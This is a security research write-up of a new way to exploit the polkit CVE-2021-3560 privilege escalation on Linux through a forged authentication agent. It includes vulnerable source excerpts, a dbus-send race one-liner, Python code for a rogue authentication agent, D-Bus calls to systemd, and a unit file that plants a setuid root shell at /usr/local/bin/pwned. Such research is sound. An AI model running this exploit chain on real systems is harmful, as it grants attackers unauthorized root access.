A New Exploit Method for CVE-2021-3560 PolicyKit Linux Privilege Escalation

 

Chinese Version: http://noahblog.360.cn/a-new-exploit-method-for-cve-2021-3560-policykit-linux-privilege-escalation

0x01. The Vulnerability

PolicyKit CVE-2021-3560 is caused by PolicyKit's incorrect handling error, after closing the program immediately after sending the D-Bus message, PolicyKit mistakenly believes that the sender of the message is the root user, thus passing the permission check, resulting in privilege escalation. The exploit is as follows:

dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply \
    /org/freedesktop/Accounts org.freedesktop.Accounts.CreateUser \
    string:boris string:"Boris Ivanovich Grishenko" int32:1 & sleep 0.008s ; kill $!

The function of the above command is to use the kill command to kill the process after a very short time difference after sending the D-Bus message. After many attempts of the race condition vulnerability, a user in the sudo group can be added by an unprivileged user.

According to the description and exploit of the vulnerability discoverer, the successful exploit of this vulnerability requires three components:

  1. Account Daemon, this service is used to add users
  2. Gnome Control Center, this service annotates the Account Daemon's methods with org.freedesktop.policykit.imply
  3. PolicyKit ≥ 0.113.

Account Daemon and Gnomo Control Center do not exist in non-desktop systems, Red Hat Linux and other systems, which undoubtedly reduces the exploit coverage of the vulnerability.

However, through in-depth research of this vulnerability, I found that there is no restriction on exploiting the vulnerability, and it can still be successfully exploited in systems where only PolicyKit and some basic D-Bus services (such as org.freedesktop.systemd1) exist. In the process of research, it is found that a lot of knowledge points need to be involved in the realization of exploit, and it is necessary to deeply understand the principle of this vulnerability and the related authentication mechanism and process of PolicyKit.

0x02. Do Really Need an Imply Annotated Action

In the vulnerability discover's post (https://github.blog/2021-06-10-privilege-escalation-polkit-root-on-linux-with-bug/) it is clearly written:

The authentication bypass depends on the error value getting ignored. It was ignored on line 1121, but it's still stored in the error parameter, so it also needs to be ignored by the caller. The block of code above has a temporary variable named implied_error, which is ignored when implied_result isn't null. That's the crucial step that makes the bypass possible.

The general meaning is that there must be a modified method of org.freedesktop.policykit.imply to achieve authentication bypass. According to the PoC in the article, there is no doubt about this. The reason and the vulnerability principle are very closely combined and can be understood by looking at the code. First, let's take a look at the vulnerability function of CVE-2021-3560. The code is based on the polkit 0.115 on Github:

static gboolean
polkit_system_bus_name_get_creds_sync (PolkitSystemBusName           *system_bus_name,
               guint32                       *out_uid,
               guint32                       *out_pid,
               GCancellable                  *cancellable,
               GError                       **error)
{

  // ...
  g_dbus_connection_call (connection,
        "org.freedesktop.DBus",       /* name */
        "/org/freedesktop/DBus",      /* object path */
        "org.freedesktop.DBus",       /* interface name */
        "GetConnectionUnixUser",      /* method */
        // ...
        &data);
  g_dbus_connection_call (connection,
        "org.freedesktop.DBus",       /* name */
        "/org/freedesktop/DBus",      /* object path */
        "org.freedesktop.DBus",       /* interface name */
        "GetConnectionUnixProcessID", /* method */
        // ...
        &data);

  while (!((data.retrieved_uid && data.retrieved_pid) || data.caught_error))
    g_main_context_iteration (tmp_context, TRUE);

  if (out_uid)
    *out_uid = data.uid;
  if (out_pid)
    *out_pid = data.pid;
  ret = TRUE;

  return ret;
}


After the polkit_system_bus_name_get_creds_sync function calls two D-Bus methods, rather than process data.caugh_error variable, it directly sets out_uid to data.uid,  which is NULL, equal to 0, the uid of the root user. So that this function is mistakenly think the sender of the message is from a root privilege process.

But it should be noted that when an error is encountered, data.error will be set, so the follows function needs to only verify whether ret is TRUE, but not to check whether the error is be set. Fortunately, check_authorization_sync, a very commonly used function in PolicyKit, has no validation:

static PolkitAuthorizationResult *
check_authorization_sync (PolkitBackendAuthority         *authority,
                          PolkitSubject                  *caller,
                          PolkitSubject                  *subject,
                          const gchar                    *action_id,
                          PolkitDetails                  *details,
                          PolkitCheckAuthorizationFlags   flags,
                          PolkitImplicitAuthorization    *out_implicit_authorization,
                          gboolean                        checking_imply,
                          GError                        **error)
{
  // ...
  user_of_subject = polkit_backend_session_monitor_get_user_for_subject (priv->session_monitor,
                                                                         subject, NULL,
                                                                         error);
  /* special case: uid 0, root, is _always_ authorized for anything */
  if (identity_is_root_user (user_of_subject)) {
      result = polkit_authorization_result_new (TRUE, FALSE, NULL);
      goto out;
  }
  // ...
  if (!checking_imply) {
      actions = polkit_backend_action_pool_get_all_actions (priv->action_pool, NULL);
      for (l = actions; l != NULL; l = l->next) {
           // ...
           imply_action_id = polkit_action_description_get_action_id (imply_ad);
           implied_result = check_authorization_sync (authority, caller, subject,
                                                      imply_action_id,
                                                      details, flags,
                                                      &implied_implicit_authorization, TRUE,
                                                      &implied_error);
           if (implied_result != NULL) {
           if (polkit_authorization_result_get_is_authorized (implied_result)) {
               g_debug (" is authorized (implied by %s)", imply_action_id);
               result = implied_result;
               /* cleanup */
               g_strfreev (tokens);
               goto out;
           }
  // ...

There are two problems with this function. The first is that when polkit_backend_session_monitor_get_user_for_subject is called for the first time, the function returns  user_of_subject with uid is 0 , and then the authentication is passed directly. The second time is when checking imply action, after calling check_authorization_sync in a loop, polkit_backend_session_monitor_get_user_for_subject returns uid is 0 again. So this function has two time windows of race conditions:

check_authorization_sync 
-> polkit_backend_session_monitor_get_user_for_subject 
 -> return uid = 0

check_authorization_sync
 -> check_authorization_sync
  -> polkit_backend_session_monitor_get_user_for_subject 
   -> return uid = 0

The vulnerability discoverer believes that the first competition time window is not successful, because the subsequent calls to check_authorization_sync check function the error message, so it can only be exploited through the second time window. That is, an action annotated by org.freedesktop.policykit.imply is required. At first, let me explain that what the org.freedesktop.policykit.imply annotation is.

The action policy configuration file of PolicyKit is usually located in the /usr/share/polkit-1/actions/ directory, and the content of the file is as follows:

<?xml version="1.0" encoding="UTF-8"?> <!--*-nxml-*-->
<!DOCTYPE policyconfig PUBLIC "-//freedesktop//DTD PolicyKit Policy Configuration 1.0//EN"
        "http://www.freedesktop.org/standards/PolicyKit/1/policyconfig.dtd">

<policyconfig>
        <vendor>The systemd Project</vendor>
        <vendor_url>http://www.freedesktop.org/wiki/Software/systemd</vendor_url>

        <action id="org.freedesktop.systemd1.manage-unit-files">
                <description gettext-domain="systemd">Manage system service or unit files</description>
                <message gettext-domain="systemd">Authentication is required to manage system service or unit files.</message>
                <defaults>
                        <allow_any>auth_admin</allow_any>
                        <allow_inactive>auth_admin</allow_inactive>
                        <allow_active>auth_admin_keep</allow_active>
                </defaults>
                <annotate key="org.freedesktop.policykit.imply">org.freedesktop.systemd1.reload-daemon org.freedesktop.systemd1.manage-units</annotate>
        </action>

        <action id="org.freedesktop.systemd1.reload-daemon">
                <description gettext-domain="systemd">Reload the systemd state</description>
                <message gettext-domain="systemd">Authentication is required to reload the systemd state.</message>
                <defaults>
                        <allow_any>auth_admin</allow_any>
                        <allow_inactive>auth_admin</allow_inactive>
                        <allow_active>auth_admin_keep</allow_active>
                </defaults>
        </action>

</policyconfig>

It can be found that the action of org.freedesktop.systemd1.manage-unit-files has been annotated  by org.freedesktop.policykit.imply. The meaning of this annotation is that when a subject has the org.freedesktop.systemd1.reload-daemon or org.freedesktop.systemd1.manage-units permission, it also has this permission. So the annotated action can basically be regarded as equivalent to the origin action, which is what this annotation does.

In fact, the upper-level functions affected by this vulnerability are not only check_authorization_sync, all the following functions will be affected by this vulnerability:

  1. polkit_system_bus_name_get_creds_sync
  2. polkit_backend_session_monitor_get_user_for_subject
  3. check_authorization_sync

By searching the code, I found a function that is very familiar to me that calls the polkit_backend_session_monitor_get_user_for_subject function: polkit_backend_interactive_authority_authentication_agent_response:

static gboolean
polkit_backend_interactive_authority_authentication_agent_response (PolkitBackendAuthority   *authority,
                                                              PolkitSubject            *caller,
                                                              uid_t                     uid,
                                                              const gchar              *cookie,
                                                              PolkitIdentity           *identity,
                                                              GError                  **error)
{

  // ...
  identity_str = polkit_identity_to_string (identity);
  g_debug ("In authentication_agent_response for cookie '%s' and identity %s",
           cookie,
           identity_str);
  user_of_caller = polkit_backend_session_monitor_get_user_for_subject (priv->session_monitor,
                                                                        caller, NULL,
                                                                        error);

  /* only uid 0 is allowed to invoke this method */
  if (!identity_is_root_user (user_of_caller)) {
      goto out;
  }
  // ...

This function is used by PolicyKit to process the AuthenticationAgentResponse and AuthenticationAgentResponse2 methods invocation by an authentication agent. So, what is an authentication agent and what does it do?

0x03. What is Authentication Agent

In daily use of Linux, if you do not use the root account to login to the desktop environment, when you perform some operations that require root privileges, a dialog box will usually pop up for you to enter the password. The program of this dialog box is authentication agent:

img

In the command line interface, there are also authentication agents exist, such as the pkexec command:

img

An authentication agent is usually a setuid program, which ensures that the caller when invokeing the authorization method of PolicyKit is root user, and the method invocation from the root user can be trusted. The authentication process of authencation agent is as follows:

img
  1. When the client needs to perform high-privilege operations, it will start the authentication agent.
  2. Authentication agent will start a D-Bus service to handle authentication calls from PolicyKit.
  3. The authentication agent will register itself to PolicyKit to take over the authentication request for the D-Bus services.
  4. When the CheckAuthorization method is called, PolicyKit will call the BeginAuthentication method of the authencation agent
  5. After the authentication agent receives the method invocation, it will ask the user to enter a password for authentication.
  6. After the authentication agent verifies that the password is correct, it will call the AuthenticationAgentResponse method provided by PolicyKit;
  7. After PolicyKit receives the AuthenticationAgentResponse method invocation, it will check whether the caller has root permissions, and then check other information (e.g., cookie).
  8. After checking, PolicyKit returns TRUE to the CheckAuthorization method invocation from D-Bus Service, indicating that the authentication is passed;
  9. After the D-Bus Service receives the return, it is allowed to execute the method called by the user.

Although the process is more complicated, it is not difficult to find that the trust guarantee of the whole process is mainly to verify whether the caller of AuthenticationAgentResponse is root user in step 7. But that trust was broken due to CVE-2021-3560. So we can complete the whole authentication process by forging the caller of AuthenticationAgentResponse and implement any D-Bus Service method invocation.

0x04. Write Your Agent

Using dbus-python and related example code, we can implement the basic skeleton of an authencation agent:

import os
import dbus
import dbus.service
import threading

from gi.repository import GLib
from dbus.mainloop.glib import DBusGMainLoop


class PolkitAuthenticationAgent(dbus.service.Object):
    def __init__(self):
        bus = dbus.SystemBus(mainloop=DBusGMainLoop())
        self._object_path = '/org/freedesktop/PolicyKit1/AuthenticationAgent'
        self._bus = bus
        with open("/proc/self/stat") as stat:
            tokens = stat.readline().split(" ")
            start_time = tokens[21]

        self._subject = ('unix-process',
                         {'pid': dbus.types.UInt32(os.getpid()),
                          'start-time': dbus.types.UInt64(int(start_time))})

        bus.exit_on_disconnect = False
        dbus.service.Object.__init__(self, bus, self._object_path)
        self._loop = GLib.MainLoop()
        self.register()
        print('[*] D-Bus message loop now running ...')
        self._loop.run()

    def register(self):
        proxy = self._bus.get_object(
                'org.freedesktop.PolicyKit1',
                '/org/freedesktop/PolicyKit1/Authority')
        authority = dbus.Interface(
                proxy,
                dbus_interface='org.freedesktop.PolicyKit1.Authority')
        authority.RegisterAuthenticationAgent(self._subject,
                                              "en_US.UTF-8",
                                              self._object_path)
        print('[+] PolicyKit authentication agent registered successfully')
        self._authority = authority

    @dbus.service.method(
            dbus_interface="org.freedesktop.PolicyKit1.AuthenticationAgent",
            in_signature="sssa{ss}saa{sa{sv}}", message_keyword='_msg')
    def BeginAuthentication(self, action_id, message, icon_name, details,
                            cookie, identities, _msg):
        print('[*] Received authentication request')
        print('[*] Action ID: {}'.format(action_id))
        print('[*] Cookie: {}'.format(cookie))

        ret_message = dbus.lowlevel.MethodReturnMessage(_msg)
        message = dbus.lowlevel.MethodCallMessage('org.freedesktop.PolicyKit1',
                                                  '/org/freedesktop/PolicyKit1/Authority',
                                                  'org.freedesktop.PolicyKit1.Authority',
                                                  'AuthenticationAgentResponse2')
        message.append(dbus.types.UInt32(os.getuid()))
        message.append(cookie)
        message.append(identities[0])
        self._bus.send_message(message)


def main():
    threading.Thread(target=PolkitAuthenticationAgent).start()


if __name__ == '__main__':
    main()


Make a D-Bus method call:

def handler(*args):
    print('[*] Method response: {}'.format(str(args)))


def set_timezone():
    print('[*] Starting SetTimezone ...')
    bus = dbus.SystemBus(mainloop=DBusGMainLoop())
    obj = bus.get_object('org.freedesktop.timedate1', '/org/freedesktop/timedate1')
    interface = dbus.Interface(obj, dbus_interface='org.freedesktop.timedate1')
    interface.SetTimezone('Asia/Shanghai', True, reply_handler=handler, error_handler=handler)


def main():
    threading.Thread(target=PolkitAuthenticationAgent).start()
    time.sleep(1)
    threading.Thread(target=set_timezone).start()

Run the program:

dev@test:~$ python3 agent.py
[+] PolicyKit authentication agent registered successfully
[*] D-Bus message loop now running ...
[*] Received authentication request
[*] Action ID: org.freedesktop.timedate1.set-timezone
[*] Cookie: 3-31e1bb8396c301fad7e3a40706ed6422-1-0a3c2713a55294e172b441c1dfd1577d
[*] Method response: (DBusException(dbus.String('Permission denied')),)

At the same time, the output log of PolicyKit is:

** (polkitd:186082): DEBUG: 00:37:29.575: In authentication_agent_response for cookie '3-31e1bb8396c301fad7e3a40706ed6422-1-0a3c2713a55294e172b441c1dfd1577d' and identity unix-user:root
** (polkitd:186082): DEBUG: 00:37:29.576: OUT: Only uid 0 may invoke this method.
** (polkitd:186082): DEBUG: 00:37:29.576: Authentication complete, is_authenticated = 0
** (polkitd:186082): DEBUG: 00:37:29.577: In check_authorization_challenge_cb
  subject                system-bus-name::1.6846
  action_id              org.freedesktop.timedate1.set-timezone
  was_dismissed          0
  authentication_success 0

00:37:29.577: Operator of unix-process:186211:9138723 FAILED to authenticate to gain authorization for action org.freedesktop.timedate1.set-timezone for system-bus-name::1.6846 [python3 agent.py] (owned by unix-user:dev)

It can be seen that our authentication agent has worked normally, and can receive the BeginAuthentication method call sent by PolicyKit, and PolicyKit will print Only uid 0 may invoke this method, because the sender of AuthenticationAgentResponse is the an unprivilged user instead of the root user.

0x05. Trigger The Vulnerability

Next to try to trigger the vulnerability, we try to kill the process immediately after sending the request:

self._bus.send_message(message)
os.kill(os.getpid(), 9)

After many tries:

** (polkitd:186082): DEBUG: 01:09:17.375: In authentication_agent_response for cookie '51-20cf92ca04f0c6b029d0309dbfe699b5-1-3d3e63e4e98124979952a29a828057c7' and identity unix-user:root
** (polkitd:186082): DEBUG: 01:09:17.377: OUT: RET: 1
** (polkitd:186082): DEBUG: 01:09:17.377: Removing authentication agent for unix-process:189453:9329523 at name :1.6921, object path /org/freedesktop/PolicyKit1/AuthenticationAgent (disconnected from bus)
01:09:17.377: Unregistered Authentication Agent for unix-process:189453:9329523 (system bus name :1.6921, object path /org/freedesktop/PolicyKit1/AuthenticationAgent, locale en_US.UTF-8) (disconnected from bus)
** (polkitd:186082): DEBUG: 01:09:17.377: OUT: error
Error performing authentication: GDBus.Error:org.freedesktop.DBus.Error.NoReply: Message recipient disconnected from message bus without replying (g-dbus-error-quark 4)

(polkitd:186082): GLib-WARNING **: 01:09:17.379: GError set over the top of a previous GError or uninitialized memory.
This indicates a bug in someone's code. You must ensure an error is NULL before it's set.
The overwriting error message was: Failed to open file ?/proc/0/cmdline?: No such file or directory
Error opening `/proc/0/cmdline': GDBus.Error:org.freedesktop.DBus.Error.NameHasNoOwner: Could not get UID of name ':1.6921': no such name
** (polkitd:186082): DEBUG: 01:09:17.380: In check_authorization_challenge_cb
  subject                system-bus-name::1.6921
  action_id              org.freedesktop.timedate1.set-timezone
  was_dismissed          0
  authentication_success 0

It can be found that the return value of the polkit_backend_interactive_authority_authentication_agent_response function is TRUE, but it is still in an unauthorized state in the check_authorization_challenge_cb function. Notice the error message of Error performing authentication and locate the function authentication_agent_begin_cb:

static void
authentication_agent_begin_cb (GDBusProxy   *proxy,
                               GAsyncResult *res,
                               gpointer      user_data)
{
  error = NULL;
  result = g_dbus_proxy_call_finish (proxy, res, &error);
  if (result == NULL)
    {
      g_printerr ("Error performing authentication: %s (%s %d)\n",
                  error->message,
                  g_quark_to_string (error->domain),
                  error->code);
      if (error->domain == POLKIT_ERROR && error->code == POLKIT_ERROR_CANCELLED)
        was_dismissed = TRUE;
      g_error_free (error);
    }
  else
    {
      g_variant_unref (result);
      gained_authorization = session->is_authenticated;
      g_debug ("Authentication complete, is_authenticated = %d", session->is_authenticated);
    }

The code logic is that is_authenticated is set to TRUE only when the g_dbus_proxy_call_finish function has no errors. The role of the g_dbus_proxy_call_finish function is described as follows:

Finishes an operation started with g_dbus_proxy_call().
You can then call g_dbus_proxy_call_finish() to get the result of the operation.

At the same time the error message also shows:

Message recipient disconnected from message bus without replying

If you want to successfully carry out race condition, you need to solve this problem first. Observe the calling results of normal and error conditions through the dbus-monitor command. The successful case is as follows:

method call   sender=:1.3174 -> destination=:1.3301 serial=6371 member=BeginAuthentication
method call   sender=:1.3301 -> destination=:1.3174 serial=6    member=AuthenticationAgentResponse2 
method return sender=:1.3301 -> destination=:1.3174 serial=7 reply_serial=6371

The failure case is as follows:

method call sender=:1.3174 -> destination=:1.3301 serial=12514 member=BeginAuthentication 
method call sender=:1.3301 -> destination=:1.3174 serial=6     member=AuthenticationAgentResponse2 
error       sender=org.freedesktop.DBus -> destination=:1:3174 error_name=org.freedesktop.DBus.Error.NoReply

In the output, :1:3174 is PolicyKit, while :1.3301 is authentication agent. In the case of success, the authentication agent will send a method return message, the reply_serial  is pointing to the serial of BeginAuthentication, indicating that the method has been successfully called, and in the case of failure, the D-Bus Daemon will send a NoReply error to PolicyKit .

0x06. The Time Window

Through the above analysis, we can get the time window triggered by our vulnerability: after sending the method return message, end the process before getting the caller of AuthenticationAgentResponse. In order to precisely control message sending, we modify the code of authentication agent as follows:

    @dbus.service.method(
            dbus_interface="org.freedesktop.PolicyKit1.AuthenticationAgent",
            in_signature="sssa{ss}saa{sa{sv}}", message_keyword='_msg')
    def BeginAuthentication(self, action_id, message, icon_name, details,
                            cookie, identities, _msg):
        print('[*] Received authentication request')
        print('[*] Action ID: {}'.format(action_id))
        print('[*] Cookie: {}'.format(cookie))


        def send(msg):
            self._bus.send_message(msg)

        ret_message = dbus.lowlevel.MethodReturnMessage(_msg)
        message = dbus.lowlevel.MethodCallMessage('org.freedesktop.PolicyKit1',
                                                  '/org/freedesktop/PolicyKit1/Authority',
                                                  'org.freedesktop.PolicyKit1.Authority',
                                                  'AuthenticationAgentResponse2')
        message.append(dbus.types.UInt32(os.getuid()))
        message.append(cookie)
        message.append(identities[0])
        threading.Thread(target=send, args=(message, )).start()
        threading.Thread(target=send, args=(ret_message, )).start()
        os.kill(os.getpid(), 9)

Check the PolicyKit debugging log, it is found that the authentication has been successful:

** (polkitd:192813): DEBUG: 01:42:29.925: In authentication_agent_response for cookie '3-7c19ac0c4623cf4548b91ef08584209f-1-22daebe24c317a3d64d74d2acd307468' and identity unix-user:root
** (polkitd:192813): DEBUG: 01:42:29.928: OUT: RET: 1
** (polkitd:192813): DEBUG: 01:42:29.928: Authentication complete, is_authenticated = 1

(polkitd:192813): GLib-WARNING **: 01:42:29.934: GError set over the top of a previous GError or uninitialized memory.
This indicates a bug in someone's code. You must ensure an error is NULL before it's set.
The overwriting error message was: Failed to open file ?/proc/0/cmdline?: No such file or directory
Error opening `/proc/0/cmdline': GDBus.Error:org.freedesktop.DBus.Error.NameHasNoOwner: Could not get UID of name ':1.7428': no such name
** (polkitd:192813): DEBUG: 01:42:29.934: In check_authorization_challenge_cb
  subject                system-bus-name::1.7428
  action_id              org.freedesktop.timedate1.set-timezone
  was_dismissed          0
  authentication_success 1

At the same time, the system time zone has also been successfully changed.

0x07. Before The Exploit

Instead of using Account Daemon exploit way provided by the vulnerability discoverer, I chose to use org.freedesktop.systemd1. The first reason is we get rid of the restriction of having to use the org.freedesktop.policykit.imply annotated method, the second reason is because this D-Bus Service exists on almost every Linux system, and finally reason is because this method has some risky methods.

$ gdbus introspect --system -d org.freedesktop.systemd1 -o /org/freedesktop/systemd1
...
  interface org.freedesktop.systemd1.Manager {
      ...
      StartUnit(in  s arg_0,
                in  s arg_1,
                out o arg_2);
      ...
      EnableUnitFiles(in  as arg_0,
                      in  b arg_1,
                      in  b arg_2,
                      out b arg_3,
                      out a(sss) arg_4);
      ...
  }
...

EnableUnitFiles method can accept a set of systemd unit file paths and load it into systemd. After calling EnableUnitFiles and Reload, finally we should call the StartUnit method to execute commands as root user. The contents of the systemd unit file are as follows:

[Unit]
AllowIsolate=no

[Service]
ExecStart=/bin/bash -c 'cp /bin/bash /usr/local/bin/pwned; chmod +s /usr/local/bin/pwned'

It seems that the process is very clear, but there are problems in actual exploit. The problem is in the EnableUnitFiles method invocation. First write the code to call this method:

def enable_unit_files():
    print('[*] Starting EnableUnitFiles ...')
    bus = dbus.SystemBus(mainloop=DBusGMainLoop())
    obj = bus.get_object('org.freedesktop.systemd1', '/org/freedesktop/systemd1')
    interface = dbus.Interface(obj, dbus_interface='org.freedesktop.systemd1.Manager')
    interface.EnableUnitFiles(['test'], True, True, reply_handler=handler, error_handler=handler)

The output after running is as follows:

dev@test:~$ python3 agent.py
[*] Starting EnableUnitFiles ...
[+] PolicyKit authentication agent registered successfully
[*] D-Bus message loop now running ...
[*] Method response: (DBusException(dbus.String('Interactive authentication required.')),)

Notice that it did not involve the authentication agent we registered, but directly output the error message  Interactive authentication required. Through the code analysis, the following code logic is located:

static void
polkit_backend_interactive_authority_check_authorization (PolkitBackendAuthority         *authority,
                                                          PolkitSubject                  *caller,
                                                          PolkitSubject                  *subject,
                                                          const gchar                    *action_id,
                                                          PolkitDetails                  *details,
                                                          PolkitCheckAuthorizationFlags   flags,
                                                          GCancellable                   *cancellable,
                                                          GAsyncReadyCallback             callback,
                                                          gpointer                        user_data)
{
  // ...
  if (polkit_authorization_result_get_is_challenge (result) &&
      (flags & POLKIT_CHECK_AUTHORIZATION_FLAGS_ALLOW_USER_INTERACTION))
    {
      AuthenticationAgent *agent;
      agent = get_authentication_agent_for_subject (interactive_authority, subject);
      if (agent != NULL)
        {
          g_object_unref (result);
          result = NULL;

          g_debug (" using authentication agent for challenge");
          authentication_agent_initiate_challenge (agent,
                                                   // ...
          goto out;
        }
    }

Here is checked whether the POLKIT_CHECK_AUTHORIZATION_FLAGS_ALLOW_USER_INTERACTION of message flags is 0, if it is 0, it will not enter the branch using authencation agent. By reading the documentation, I found that POLKIT_CHECK_AUTHORIZATION_FLAGS_ALLOW_USER_INTERACTION is controllable by the message sender, and the D-Bus class library provides the corresponding setter dbus_message_set_allow_interactive_authorization .

But when I went to the documentation of dbus-python, I found that it does not provide this method. So I modified the project to add this method, the procject is at https://gitlab.freedesktop.org/RicterZ/dbus-python

PyDoc_STRVAR(Message_set_allow_interactive_authorization__doc__,
"message.set_allow_interactive_authorization(bool) -> None\n"
"Set allow interactive authorization flag to this message.\n");
static PyObject *
Message_set_allow_interactive_authorization(Message *self, PyObject *args)
{
    int value;
    if (!PyArg_ParseTuple(args, "i", &value)) return NULL;
    if (!self->msg) return DBusPy_RaiseUnusableMessage();
    dbus_message_set_allow_interactive_authorization(self->msg, value ? TRUE : FALSE);
    Py_RETURN_NONE;
}

At the same time, this code modification has been submitted a merge request, and it is hoped that it will be merged in the future.

0x08. The Final Exploit

After adding set_allow_interactive_authorization, it's easy to build the message using the lowlevel interface provided by dbus-python:

def method_call_install_service():
    time.sleep(0.1)
    print('[*] Enable systemd unit file \'{}\' ...'.format(FILENAME))
    bus2 = dbus.SystemBus(mainloop=DBusGMainLoop())
    message = dbus.lowlevel.MethodCallMessage(NAME, OBJECT, IFACE, 'EnableUnitFiles')
    message.set_allow_interactive_authorization(True)
    message.set_no_reply(True)
    message.append(['/tmp/{}'.format(FILENAME)])
    message.append(True)
    message.append(True)
    bus2.send_message(message)

After that, you can receive the BeginAuthentication  invocation sent by PolicyKit. The code framework is generally clear, so it is not difficult to write out the exploit. The screenshot of successfully exploit as follows:

img

The implementation of this exploit in Golang and C:

0x09. Conclusion

CVE-2021-3560 is an underestimated vulnerability. I think it is because the vulnerability discover is not particularly familiar with the mechanisms of D-Bus and PolicyKit, so he missed the features of authentication agent and built a more restrictive PoC. I dare not say that I am proficient in D-Bus and PolicyKit, but in the recent vulnerability discovery and research, I have referred to amount of documents, historical vulnerability analysis, and read a lot of code before I realized that the use of authentication agent to possibility of exploit.

0x0a. Reference